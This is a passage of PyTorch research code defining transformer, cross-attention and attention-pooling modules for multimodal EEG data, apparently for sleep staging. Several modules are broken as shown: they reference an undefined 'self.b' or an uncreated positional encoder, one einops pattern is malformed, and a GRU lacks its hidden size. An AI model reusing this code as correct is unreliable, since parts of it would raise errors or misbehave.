# x = self.pos_inner(x).permute(1,0,2)
# # x = x.permute(1,0,2)
#
# # xeog = self.conv_eog(xeog)
# # x = torch.cat([xeeg,xeog],dim=2)
# # x = self.pos(x.flatten(start_dim=2).permute(0, 2, 1)).permute(0, 2, 1).view(x_inner_shape)
# print(x.shape)
#
# x = self.inner_att(x)
# w = self.att(x)
# x = torch.einsum("ijk,jmi -> mjk",x,w)
# x = x.view([x_shape[0]*x_shape[1],x_shape[2], -1])
#
# x = self.pos_inner_mod(x).permute(1,0,2)
#
# x = self.inner_mod_att(x)
# w = self.mod_att(x)
# x = torch.einsum("ijk,jmi -> mjk",x,w)
#
# # print(x.shape)
# x = x.permute(1,2,0)
# # x = self.avg(x)# average pooling
# x = x.view([x_shape[0], x_shape[1], -1])
# x = self.pos_outer(x.permute(1,0,2)).permute(1,0,2)
# # x = x.permute(1,0,2).permute(1,0,2)
# x = self.outer_att(x)
# # print(x.shape)
# # x = self.avg(x).flatten(start_dim=1)
# # x = x.view([x_shape[0],x_shape[1], -1]).permute(1,0,2)
# # x = self.outer_att(x).permute(1,0,2).unsqueeze(dim=2)
return x
class inner_mod_att(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_inner = PositionalEncoder(d_model=dmodel)
self.pos_mod = PositionalEncoder(d_model=dmodel)
enc = nn.TransformerEncoderLayer(dmodel, nhead=heads)
self.inner_tf = nn.TransformerEncoder(enc, num_layers)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x, "b outer inner mod k -> (inner mod) (b outer) k")
if self.pos:
x = einops.rearrange(x, "(inner mod) (b outer) k -> inner (b outer mod) k", mod=self.mod, outer = self.outer, b=self.batch, inner = self.inner)
x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "inner (b outer mod) k -> mod (b outer inner) k", mod=self.mod, outer = self.outer, b=self.batch, inner = self.inner)
x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "mod (b outer inner) k -> (inner mod) (b outer) k", mod=self.mod, outer = self.outer, b=self.batch, inner = self.inner)
x = self.inner_tf(x)
x = einops.rearrange(x, "(inner mod) (b outer) k -> b outer inner mod k", mod=self.mod, outer = self.outer, b=self.batch, inner = self.inner)
return x
class inner_outer_cross_att(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_inner = PositionalEncoder(d_model=dmodel)
self.pos_mod = PositionalEncoder(d_model=dmodel)
self.num_layers = num_layers
for i in range(num_layers):
setattr(self, "outter_inner_cross_att_{}".format(i), MyViLBERT(dmodel, nheads=heads))
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
if self.pos:
x = einops.rearrange(x, "b outer inner mod k -> inner (b outer mod) k")
x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "inner (b outer mod) k -> mod (b outer inner) k", mod=self.mod)
x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "mod (b outer inner) k -> outer (b inner mod) k", outer=self.outer)
x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "outer (b inner mod) k -> b outer inner mod k", mod=self.mod, inner=self.inner, b = self.b)
x = einops.rearrange(x, "b outer inner mod k -> (outer inner) mod b k")
x0 = x[:,0,:,:]
x1 = x[:,1,:,:]
for i in range(self.num_layers):
layer = getattr(self, "outter_inner_cross_att_{}".format(i))
x0, x1 = layer(x0, x1)
x0 = einops.rearrange(x0, "(outer inner mod) b k -> (outer inner) mod b k", outer=self.outer, inner=self.inner, mod=1)
x1 = einops.rearrange(x1, "(outer inner mod) b k -> (outer inner) mod b k", outer=self.outer, inner=self.inner, mod=1)
x = torch.cat([x0,x1], dim=1)
x = einops.rearrange(x, "(outer inner) mod b k -> b outer inner mod k", outer=self.outer, mod=self.mod,
b=self.batch)
return x
class inner_cross_att(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_inner = PositionalEncoder(d_model=dmodel)
self.pos_mod = PositionalEncoder(d_model=dmodel)
self.num_layers = num_layers
for i in range(num_layers):
setattr(self, "inner_cross_att_{}".format(i), MyViLBERT(dmodel, nheads=heads))
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
if self.pos:
x = einops.rearrange(x, "b outer inner mod k -> inner (b outer mod) k")
x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "inner (b outer mod) k -> mod (b outer inner) k", mod=self.mod)
x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "mod (b outer inner) k -> outer (b inner mod) k", outer=self.outer)
x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "outer (b inner mod) k -> b outer inner mod k", mod=self.mod, inner=self.inner, b = self.b)
x = einops.rearrange(x, "b outer inner mod k -> inner mod (outer b) k")
x0 = x[:,0,:,:]
x1 = x[:,1,:,:]
for i in range(self.num_layers):
layer = getattr(self, "inner_cross_att_{}".format(i))
x0, x1 = layer(x0, x1)
x0 = einops.rearrange(x0, "(inner mod) b k -> inner mod b k", inner=self.inner, mod=1)
x1 = einops.rearrange(x1, "(inner mod) b k -> inner mod b k", inner=self.inner, mod=1)
x = torch.cat([x0,x1], dim=1)
x = einops.rearrange(x, "inner mod (outer b) k -> b outer inner mod k", outer=self.outer, mod=self.mod, b=self.batch)
return x
class outer_cross_att(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_outer = PositionalEncoder(d_model=dmodel)
self.pos_mod = PositionalEncoder(d_model=dmodel)
self.num_layers = num_layers
for i in range(num_layers):
setattr(self, "outter_cross_att_{}".format(i), MyViLBERT(dmodel, nheads=heads))
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
if self.pos:
x = einops.rearrange(x, "b outer inner mod k -> outer (b outer mod) k")
x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "inner (b outer mod) k -> mod (b outer inner) k", mod=self.mod)
x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "mod (b outer inner) k -> outer (b inner mod) k", outer=self.outer)
x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "outer (b inner mod) k -> b outer inner mod k", mod=self.mod, inner=self.inner,
b=self.b)
x = einops.rearrange(x, "b outer inner mod k -> outer mod (inner b) k")
x0 = x[:, 0, :, :]
x1 = x[:, 1, :, :]
for i in range(self.num_layers):
layer = getattr(self, "outter_cross_att_{}".format(i))
x0, x1 = layer(x0, x1)
x0 = einops.rearrange(x0, "(outer mod) b k -> outer mod b k", outer=self.outer, mod=1)
x1 = einops.rearrange(x1, "(outer mod) b k -> outer mod b k", outer=self.outer, mod=1)
x = torch.cat([x0, x1], dim=1)
x = einops.rearrange(x, "outer mod (inner b) k -> b outer inner mod k", inner=self.inner, mod=self.mod,
b=self.batch)
return x
class inner_mod_outer_att(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_inner = PositionalEncoder(d_model=dmodel)
self.pos_mod = PositionalEncoder(d_model=dmodel)
enc = nn.TransformerEncoderLayer(dmodel, nhead=heads)
self.all_tf = nn.TransformerEncoder(enc, num_layers)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
if self.pos:
x = einops.rearrange(x, "b outer inner mod k -> inner (b outer mod) k")
x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "inner (b outer mod) k -> mod (b outer inner) k", mod=self.mod)
x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "mod (b outer inner) k -> outer (b inner mod) k", outer=self.outer)
x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "outer (b inner mod) k -> b outer inner mod k", mod=self.mod, inner=self.inner, b = self.b)
x = einops.rearrange(x, "b outer inner mod k -> (outer inner mod) b k")
x = self.all_tf(x)
x = einops.rearrange(x, "(outer inner mod) b k -> b outer inner mod k", outer=self.outer, mod=self.mod,
b=self.batch)
return x
class outer_mod_att(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_inner = PositionalEncoder(d_model=dmodel)
self.pos_mod = PositionalEncoder(d_model=dmodel)
enc = nn.TransformerEncoderLayer(dmodel, nhead=heads)
self.all_tf = nn.TransformerEncoder(enc, num_layers)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
if self.pos:
x = einops.rearrange(x, "b outer inner mod k -> inner (outer mod b) k")
x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "inner (b outer mod) k -> mod (b outer inner) k", mod=self.mod, outer = self.outer, b=self.batch, inner = self.inner)
x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "mod (b outer inner) k -> outer (b inner mod) k", mod=self.mod, outer = self.outer, b=self.batch, inner = self.inner)
x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2)
x = einops.rearrange(x, "outer (inner mod b) k -> b outer inner mod k", mod=self.mod, outer = self.outer, b=self.batch, inner = self.inner)
x = einops.rearrange(x, "b outer inner mod k -> (outer mod) (b inner) k")
x = self.all_tf(x)
x = einops.rearrange(x, "(outer mod) (b inner) k -> b outer inner mod k", mod=self.mod, outer = self.outer, b=self.batch, inner = self.inner)
return x
class inner_att(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_inner = PositionalEncoder(d_model=dmodel)
enc = nn.TransformerEncoderLayer(dmodel, nhead=heads, dim_feedforward=1024)
self.inner_tf = nn.TransformerEncoder(enc, num_layers)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x, "b outer inner mod k -> inner (b mod outer) k")
if self.pos:
x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2)
x = self.inner_tf(x)
x = einops.rearrange(x, "inner (b mod outer) k -> b outer inner mod k", outer=self.outer, mod=self.mod,
b=self.batch)
return x
class inner_att_mod(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_inner = PositionalEncoder(d_model=dmodel*modalities)
enc = nn.TransformerEncoderLayer(dmodel*modalities, nhead=heads)
self.inner_tf = nn.TransformerEncoder(enc, num_layers)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x, "b outer inner mod k -> inner (b outer) (mod k)")
if self.pos:
x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2)
x = self.inner_tf(x)
x = einops.rearrange(x, "inner (b outer) (mod k) -> b outer inner mod k", outer=self.outer, mod=self.mod,
b=self.batch)
return x
class inner_att_outer(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_inner = PositionalEncoder(d_model=dmodel*outer)
enc = nn.TransformerEncoderLayer(dmodel*outer, nhead=heads)
self.inner_tf = nn.TransformerEncoder(enc, num_layers)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x, "b outer inner mod k -> inner (mod b) (outer k)")
if self.pos:
x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2)
x = self.inner_tf(x)
x = einops.rearrange(x, "inner (mod b) (outer k) -> b outer inner mod k", outer=self.outer, mod=self.mod,
b=self.batch)
return x
class inner_att_mod_outer(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_inner = PositionalEncoder(d_model=dmodel*modalities*outer)
enc = nn.TransformerEncoderLayer(dmodel*modalities*outer, nhead=heads)
self.inner_tf = nn.TransformerEncoder(enc, num_layers)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x, "b outer inner mod k -> inner b (outer mod k)")
if self.pos:
x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2)
x = self.inner_tf(x)
x = einops.rearrange(x, " inner b (outer mod k) -> b outer inner mod k", outer=self.outer, mod=self.mod,
b=self.batch)
return x
class mod_att(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_mod = PositionalEncoder(d_model=dmodel)
enc_mod = nn.TransformerEncoderLayer(dmodel, nhead=heads)
self.inner_mod_tf = nn.TransformerEncoder(enc_mod,num_layers)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x, "b outer inner mod k -> mod (inner outer b) k")
if self.pos:
x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2)
x = self.inner_mod_tf(x)
x = einops.rearrange(x, "mod (inner outer b) k-> b outer inner mod k", outer=self.outer, inner=self.inner,
b=self.batch)
return x
class mod_att_inner(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_mod = PositionalEncoder(d_model=dmodel*inner)
enc_mod = nn.TransformerEncoderLayer(dmodel*inner, nhead=heads)
self.inner_mod_tf = nn.TransformerEncoder(enc_mod,num_layers)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x, "b outer inner mod k -> mod (outer b) (inner k)")
if self.pos:
x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2)
x = self.inner_mod_tf(x)
x = einops.rearrange(x, " mod (outer b) (inner k)-> b outer inner mod k", outer=self.outer, inner=self.inner,
b=self.batch)
return x
class mod_att_outer(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_mod = PositionalEncoder(d_model=dmodel*outer)
enc_mod = nn.TransformerEncoderLayer(dmodel*outer, nhead=heads)
self.inner_mod_tf = nn.TransformerEncoder(enc_mod,num_layers)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x, "b outer inner mod k -> mod (inner b) (outer k)")
if self.pos:
x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2)
x = self.inner_mod_tf(x)
x = einops.rearrange(x, "mod (inner b) (outer k)-> b outer inner mod k", outer=self.outer, inner=self.inner,
b=self.batch)
return x
class mod_att_inner_outer(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_mod = PositionalEncoder(d_model=dmodel*inner*outer)
enc_mod = nn.TransformerEncoderLayer(dmodel*inner*outer, nhead=heads)
self.inner_mod_tf = nn.TransformerEncoder(enc_mod,num_layers)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x, "b outer inner mod k -> mod b (inner outer k)")
if self.pos:
x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2)
x = self.inner_mod_tf(x)
x = einops.rearrange(x, "mod b (inner outer k)-> b outer inner mod k", outer=self.outer, inner=self.inner,
b=self.batch)
return x
class outer_att(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_outer = PositionalEncoder(d_model=dmodel)
enc_outer = nn.TransformerEncoderLayer(dmodel, nhead=heads, dim_feedforward=1024)
self.outer_tf = nn.TransformerEncoder(enc_outer,num_layers)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x,"b outer inner mod k -> outer (b inner mod) k")
if self.pos:
x = self.pos_outer(x.permute(1, 0, 2)).permute(1, 0, 2)
x = self.outer_tf(x)
x = einops.rearrange(x,"outer (b inner mod) k-> b outer inner mod k", mod =self.mod, inner =self.inner, b=self.batch)
return x
class outer_att_mod(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_outer = PositionalEncoder(d_model=dmodel*modalities)
enc_outer = nn.TransformerEncoderLayer(dmodel*modalities, nhead=heads)
self.outer_tf = nn.TransformerEncoder(enc_outer,num_layers)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x,"b outer inner mod k -> outer (b inner) (mod k)")
if self.pos:
x = self.pos_outer(x.permute(1, 0, 2)).permute(1, 0, 2)
x = self.outer_tf(x)
x = einops.rearrange(x,"outer (b inner) (mod k)-> b outer inner mod k", mod =self.mod, inner =self.inner, b=self.batch)
return x
class outer_att_inner(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_outer = PositionalEncoder(d_model=dmodel*inner)
enc_outer = nn.TransformerEncoderLayer(dmodel*inner, nhead=heads)
self.outer_tf = nn.TransformerEncoder(enc_outer,num_layers)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x,"b outer inner mod k -> outer (b mod) (inner k)")
if self.pos:
x = self.pos_outer(x.permute(1, 0, 2)).permute(1, 0, 2)
x = self.outer_tf(x)
x = einops.rearrange(x,"outer (b mod) (inner k)-> b outer inner mod k", mod =self.mod, inner =self.inner, b=self.batch)
return x
class outer_att_inner_mod(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = pos
if pos:
self.pos_outer = PositionalEncoder(d_model=dmodel*inner*modalities)
enc_outer = nn.TransformerEncoderLayer(dmodel*inner*modalities, nhead=heads)
self.outer_tf = nn.TransformerEncoder(enc_outer,num_layers)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x,"b outer inner mod k -> outer b (inner mod k)")
if self.pos:
x = self.pos_outer(x.permute(1, 0, 2)).permute(1, 0, 2)
x = self.outer_tf(x)
x = einops.rearrange(x,"outer b (inner mod k) -> b outer inner mod k", mod =self.mod, inner =self.inner, b=self.batch)
return x
class aggregation_att_outer(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.mod_att = Attention(dmodel)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x,"b outer inner mod k -> outer (b inner mod) k ", mod =self.mod, inner =self.inner, b=self.batch)
w = self.mod_att(x)
x = torch.einsum("ijk,jmi -> mjk", x, w)
x = einops.rearrange(x," outer (b inner mod) k -> b outer inner mod k ", b=self.batch, inner=self.inner, mod=self.mod)
return x
class aggregation_att_inner(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.mod_att = Attention(dmodel*modalities)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x,"b outer inner mod k -> inner (b outer) (mod k) ", mod =self.mod, inner =self.inner, b=self.batch)
w = self.mod_att(x)
x = torch.einsum("ijk,jmi -> mjk", x, w)
x = einops.rearrange(x,"inner (b outer mod) k -> b outer inner mod k ", b=self.batch, outer=self.outer, mod=self.mod)
return x
class aggregation_att_contx_inner(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.mod_att = Context_Attention(dmodel*modalities, 64)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x,"b outer inner mod k -> (b outer) inner (mod k) ", mod =self.mod, inner =self.inner, b=self.batch)
w = self.mod_att(x)
x = torch.einsum("ijk,im -> ik", x, w)
x = einops.rearrange(x,"(b outer inner) (mod k) -> b outer inner mod k ", b=self.batch, outer=self.outer, mod=self.mod, inner=1)
return x
class aggregation_att_contx_inner_mod(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.mod_att = Context_Attention(dmodel, 64)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x,"b outer inner mod k -> (b outer) (inner mod) k", mod =self.mod, inner =self.inner, b=self.batch)
w = self.mod_att(x)
x = torch.einsum("ijk,im -> ik", x, w)
x = einops.rearrange(x,"(b outer inner mod) k -> b outer inner mod k ", b=self.batch, outer=self.outer, mod=1, inner=1)
return x
class aggregation_att_contx_mod(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.mod_att = Context_Attention(dmodel, 64)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x,"b outer inner mod k -> (b outer inner) mod k ", mod =self.mod, inner =self.inner, b=self.batch)
w = self.mod_att(x)
x = torch.einsum("ijk,im -> ik", x, w)
x = einops.rearrange(x,"(b outer inner mod) k -> b outer inner mod k ", b=self.batch, outer=self.outer, mod=1, inner=self.inner)
return x
class aggregation_att_mod(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.mod_att = Attention(dmodel)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x,"b outer inner mod k -> mod (inner outer b) k ", mod =self.mod, inner =self.inner, b=self.batch)
w = self.mod_att(x)
x = torch.einsum("ijk,jmi -> mjk", x, w)
x = einops.rearrange(x,"mod (inner outer b) k -> b outer inner mod k -> ", inner =self.inner, b=self.batch)
return x
class fourier_pos(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = Fourier_Sleep_PositionalEncoder(dmodel, outer, inner, modalities)
def forward(self, x):
return self.pos(x)
class huy_pos_inner(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = PositionalEncoding_AIAYN(dmodel)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x, "b outer inner mod k -> (b outer mod) inner k")
x = self.pos(x)
x = einops.rearrange(x, "(b outer mod) inner k -> b outer inner mod k", b = self.batch, outer = self.outer, mod = self.mod)
return x
class huy_pos_outer(nn.Module):
def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8):
super().__init__()
self.pos = PositionalEncoding_AIAYN(dmodel)
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x, "b outer inner mod k ->(b inner mod) outer k")
x = self.pos(x)
x = einops.rearrange(x, "(b inner mod) outer k -> b outer inner mod k", b = self.batch, inner = self.inner, mod = self.mod)
return x
class Multi_Transformer(nn.Module):
def __init__(self, dmodel, pos, inner, outer, layers = ["inner_att", "outer_att"], modalities =1, num_layers=1, heads=8):
super().__init__()
self.pos = pos
self.layers = layers
for layer in self.layers:
setattr(self, layer, globals()[layer](dmodel, pos, inner, outer, modalities, num_layers, heads))
def forward(self,x):
for layer in self.layers:
this_layer = getattr(self, layer)
x = this_layer(x)
return x
class Attention(nn.Module):
def __init__(self, hidden_size):
super(Attention, self).__init__()
self.hidden_size = hidden_size
self.attn = nn.Linear(self.hidden_size * 2, hidden_size)
self.v = nn.Parameter(torch.rand(hidden_size))
stdv = 1. / math.sqrt(self.v.size(0))
self.v.data.uniform_(-stdv, stdv)
self.softmax = nn.Softmax(dim=1)
def forward(self, hidden):
# timestep = hidden.size(0)
# h = hidden.repeฮตat(timestep, 1, 1).transpose(0, 1)
# print(h.shape)
hidden = hidden.transpose(0, 1) # [B*T*H]
attn_energies = self.score(hidden, hidden)
return self.softmax(attn_energies).unsqueeze(1)
def score(self, hidden, encoder_outputs):
# [B*T*2H]->[B*T*H]
energy = F.relu(self.attn(torch.cat([hidden, encoder_outputs], 2)))
energy = energy.transpose(1, 2) # [B*H*T]
v = self.v.repeat(encoder_outputs.size(0), 1).unsqueeze(1) # [B*1*H]
energy = torch.bmm(v, energy) # [B*1*T]
return energy.squeeze(1) # [B*T]
class Context_Attention(nn.Module):
def __init__(self, hidden, attention_size=64):
super().__init__()
self.attention_size = attention_size
self.attn = nn.Linear(hidden, attention_size)
self.ae = nn.Parameter(torch.rand(attention_size))
self.softmax = nn.Softmax(dim=1)
self.tanh= nn.Tanh()
def forward(self, x):
# batch
x = self.tanh(self.attn(x))
ae = self.ae.repeat(x.size(0), 1).unsqueeze(1)
x = einsum("bij, bmj-> bi",x,ae)
x = self.softmax(x)
return x
class EEG_TransferTransformer_Fusion(nn.Module):
def __init__(self, dec, transformer_type):
super().__init__()
dmodel = 76
# self.embedding = nn.Sequential(
# nn.Linear(dmodel, dmodel),
# nn.ReLU(),
# nn.Linear(dmodel, 128)
# )
dmodel = 128
# self.latent = nn.Parameter(torch.randn(16, 8, dmodel))
# self.cls_token = nn.Parameter(torch.randn(1, 8, dmodel))
self.pos_inner = PositionalEncoder(d_model=dmodel, same_time_step=1)
# transformer_type = globals()[transformer_type]
modalities = 1
enc = nn.TransformerEncoderLayer(dmodel, nhead=8)
self.inner_att = nn.TransformerEncoder(enc,4)
self.inner_att = nn.GRU(dmodel,num_layers=4)
self.pos_outer = PositionalEncoder(d_model=dmodel*modalities, same_time_step=1)
enc_outer = nn.TransformerEncoderLayer(dmodel*modalities, nhead=8)
self.outer_att = nn.TransformerEncoder(enc_outer,4)
self.outer_att = nn.GRU(dmodel, num_layers=3)
# self.avg = nn.AvgPool2d((1,113))
def forward(self, x):
x_shape = x.shape
if (len(x_shape)>3):
x = x.flatten(start_dim=0,end_dim=1)
# print(x.shape)
x = self.pos_inner(x).permute(1,0,2)
# print(x.shape)
# xeog = self.conv_eog(xeog)
# x = torch.cat([xeeg,xeog],dim=2)
# x = self.pos(x.flatten(start_dim=2).permute(0, 2, 1)).permute(0, 2, 1).view(x_inner_shape)
x = self.inner_att(x)
# print(x.shape)
x = x.permute(1,2,0).mean(-1) # average pooling
x = x.view([x_shape[0], x_shape[1], -1])
x = self.pos_outer(x.permute(1,0,2)).permute(1,0,2)
x = self.outer_att(x)
# print(x.shape)
# x = self.avg(x).flatten(start_dim=1)
# x = x.view([x_shape[0],x_shape[1], -1]).permute(1,0,2)
# x = self.outer_att(x).permute(1,0,2).unsqueeze(dim=2)
return x
class EEG_Embedding_Fusion_EDF(nn.Module):
def __init__(self, dec, transformer_type):
super().__init__()
dmodel = 23 #76
# self.embedding = nn.Sequential(
# nn.Linear(dmodel, dmodel),
# nn.ReLU(),
# nn.Linear(dmodel, 16)
# )
pad = 1 if dec>1 else 0
filters = int(128/dec)
self.embedding = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, 64, kernel_size=(1, 7), stride=(1, 3)),
nn.ReLU(),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(64, 128, kernel_size=(1, 7), stride=(1, 3)),
nn.ReLU(),
nn.ReflectionPad2d((2, 2, pad, pad)),
nn.Conv2d(128, 128, kernel_size=(dec, 5), stride=(1, 2)),
nn.ReLU(),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(128, filters, kernel_size=(dec, 5), stride=(1, 2)),
nn.ReLU(),
)
# self.embedding = nn.Sequential(
# nn.Conv3d(1, 64, kernel_size=(5, 1, 5), padding=(2, 0, 2), stride=(2, 1, 1)),
# nn.ReLU(),
# nn.Conv3d(64, 128, kernel_size=(5, 2, 3), padding=(0, 1, 1), stride=(2, 1, 1)),
# nn.ReLU(),
